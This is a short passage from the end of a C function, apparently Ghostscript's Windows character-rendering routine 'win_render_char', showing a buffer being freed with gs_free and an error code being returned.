				  gx_no_color_index, color);
	    }
	}
	gs_free(dev->memory, bits, h, raster, "win_render_char");
    }
    return (code < 0 ? code : 0);
}